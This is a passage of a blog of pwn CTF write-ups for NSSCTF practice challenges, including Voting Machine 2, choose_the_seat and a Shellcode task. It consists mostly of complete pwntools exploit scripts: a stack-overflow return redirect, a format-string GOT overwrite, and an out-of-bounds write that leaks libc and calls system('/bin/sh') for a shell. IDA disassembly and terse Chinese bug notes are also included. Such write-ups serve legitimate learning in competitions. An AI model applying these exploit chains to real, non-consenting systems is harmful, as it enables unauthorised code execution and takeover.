class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">28134</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">offset = <span class="number">0xC</span> + <span class="number">8</span></span><br><span class="line">payload = cyclic(offset) + p64(<span class="number">0x401250</span>)</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="watevrCTF-2019-Voting-Machine-2"><a href="#watevrCTF-2019-Voting-Machine-2" class="headerlink" title="[watevrCTF 2019]Voting Machine 2"></a>[watevrCTF 2019]Voting Machine 2</h3><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241114203744-skqyln2.png" alt="image">​</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;i386&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">24551</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># rdi = rop.find_gadget([&#x27;pop rdi&#x27;,&#x27;ret&#x27;])[0]</span></span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line"><span class="comment"># info(&quot;rdi addr : &#123;:#x&#125;&quot;.format(rdi))</span></span><br><span class="line">payload = <span class="number">2</span> * <span class="string">b&#x27;a&#x27;</span> + fmtstr_payload(<span class="number">8</span>,&#123;elf.got[<span class="string">&#x27;puts&#x27;</span>]:elf.sym[<span class="string">&#x27;super_secret_function&#x27;</span>]&#125;,numbwritten=<span class="number">2</span>)</span><br><span class="line">s(payload)</span><br><span class="line">pr()</span><br><span class="line"></span><br><span class="line">sl(<span class="string">b&#x27;cat flag&#x27;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&#x27;lag&#x27;</span>)</span><br><span class="line">flag = p.recv(<span class="number">44</span>)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HGAME-2023-week1-choose-the-seat"><a href="#HGAME-2023-week1-choose-the-seat" class="headerlink" title="[HGAME 2023 week1]choose_the_seat"></a>[HGAME 2023 week1]choose_the_seat</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v1 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Here is the seat from 0 to 9, please choose one.&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v0);</span><br><span class="line">  <span class="keyword">if</span> ( v0 &gt; <span class="number">9</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;There is no such seat&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;please input your name&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;seats[<span class="number">16</span> * v0], <span class="number">0x10</span>uLL);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Your name is &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(&amp;seats[<span class="number">16</span> * v0]);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Your seat is %d\n&quot;</span>, v0);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Bye&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>数组越界</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241114205002-1ginaao.png" alt="image">​</p><p>修改exit为_start循环</p><p>然后后一位为read</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">29296</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">sl(<span class="string">&quot;-6&quot;</span>)</span><br><span class="line">sa(<span class="string">b&#x27;name&#x27;</span>,p64(elf.symbols[<span class="string">&#x27;main&#x27;</span>]))</span><br><span class="line">sla(<span class="string">b&#x27;one.\n&#x27;</span>,<span class="string">b&#x27;-7&#x27;</span>) </span><br><span class="line">p.sendafter(<span class="string">b&#x27;name&#x27;</span>,<span class="string">b&#x27;\xc0&#x27;</span>) </span><br><span class="line">p.recvuntil(<span class="string">b&#x27;Your name is &#x27;</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libc_base:&#x27;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line">system_addr=libc_base+libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;one.\n&#x27;</span>,<span class="string">b&#x27;-9&#x27;</span>) </span><br><span class="line">p.sendafter(<span class="string">b&#x27;name&#x27;</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>+p64(system_addr))</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="11-15"><a href="#11-15" class="headerlink" title="11.15"></a>11.15</h2><h3 id="SWPUCTF-2023-秋季新生赛-Shellcode"><a href="#SWPUCTF-2023-秋季新生赛-Shellcode" class="headerlink" title="[SWPUCTF 2023 秋季新生赛]Shellcode"></a>[SWPUCTF 2023 秋季新生赛]Shellcode</h3><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241115221258-hy4yvas.png" alt="image">​</p><p>开启了PIE和Canary和RELRO</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span>00000000000011AD                 <span class="keyword">push</span>    <span class="built_in">rbp</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011AE                 <span class="keyword">mov</span>     <span class="built_in">rbp</span>, <span class="built_in">rsp</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011B1                 <span class="keyword">sub</span>     <span class="built_in">rsp</span>, <span class="number">70h</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011B5                 <span class="keyword">mov</span>     <span class="built_in">rax</span>, <span class="built_in">fs</span>:<span class="number">28h</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011BE                 <span class="keyword">mov</span>     [<span class="built_in">rbp</span>+var_8], <span class="built_in">rax</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011C2                 <span class="keyword">xor</span>     <span class="built_in">eax</span>, <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011C4                 <span class="keyword">mov</span>     <span class="built_in">rax</span>, <span class="built_in">cs</span>:stdout@@GLIBC_2_2_5</span><br><span class="line"><span class="symbol">.text:</span>00000000000011CB                 <span class="keyword">mov</span>     <span class="built_in">esi</span>, <span class="number">0</span>          <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011D0                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span>        <span class="comment">; stream</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011D3                 <span class="keyword">call</span>    _setbuf</span><br><span class="line"><span class="symbol">.text:</span>00000000000011D8                 <span class="keyword">mov</span>     <span class="built_in">rax</span>, <span class="built_in">cs</span>:stderr@@GLIBC_2_2_5</span><br><span class="line"><span class="symbol">.text:</span>00000000000011DF                 <span class="keyword">mov</span>     <span class="built_in">esi</span>, <span class="number">0</span>          <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011E4                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span>        <span class="comment">; stream</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011E7                 <span class="keyword">call</span>    _setbuf</span><br><span class="line"><span class="symbol">.text:</span>00000000000011EC                 <span class="keyword">mov</span>     <span class="built_in">rax</span>, <span class="built_in">cs</span>:stdin@@GLIBC_2_2_5</span><br><span class="line"><span class="symbol">.text:</span>00000000000011F3                 <span class="keyword">mov</span>     <span class="built_in">esi</span>, <span class="number">0</span>          <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011F8                 <span class="keyword">mov</span>     <span class="built_in">rdi</span>, <span class="built_in">rax</span>        <span class="comment">; stream</span></span><br><span class="line"><span class="symbol">.text:</span>00000000000011FB                 <span class="keyword">call</span>    _setbuf</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001200</span>                 <span class="keyword">lea</span>     <span class="built_in">rdi</span>, s          <span class="comment">; &quot;Hello! Welcome to the pwn world!&quot;</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001207</span>                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span>000000000000120C                 <span class="keyword">lea</span>     <span class="built_in">rdi</span>, aDoYouKnowWhatS <span class="comment">; &quot;Do you know what shellcode is?&quot;</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001213</span>                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001218</span>                 <span class="keyword">lea</span>     <span class="built_in">rdi</span>, aLetSHaveATry <span class="comment">; &quot;Let&#x27;s have a try!&quot;</span></span><br><span class="line"><span class="symbol">.text:</span>000000000000121F                 <span class="keyword">call</span>    _puts</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001224</span>                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+buf]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001228</span>                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="number">64h</span> <span class="comment">; &#x27;d&#x27;  ; nbytes</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">000000000000122D</span>                 <span class="keyword">mov</span>     <span class="built_in">rsi</span>, <span class="built_in">rax</span>        <span class="comment">; buf</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001230</span>                 <span class="keyword">mov</span>     <span class="built_in">edi</span>, <span class="number">0</span>          <span class="comment">; fd</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001235</span>                 <span class="keyword">call</span>    _read</span><br><span class="line"><span class="symbol">.text:</span>000000000000123A                 <span class="keyword">lea</span>     <span class="built_in">rax</span>, [<span class="built_in">rbp</span>+buf]</span><br><span class="line"><span class="symbol">.text:</span>000000000000123E                 <span class="keyword">call</span>    <span class="built_in">rax</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001240</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001245</span>                 <span class="keyword">mov</span>     <span class="built_in">rcx</span>, [<span class="built_in">rbp</span>+var_8]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001249</span>                 <span class="keyword">xor</span>     <span class="built_in">rcx</span>, <span class="built_in">fs</span>:<span class="number">28h</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001252</span>                 <span class="keyword">jz</span>      short locret_1259</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0000000000001254</span>                 <span class="keyword">call</span>    ___stack_chk_fail</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + 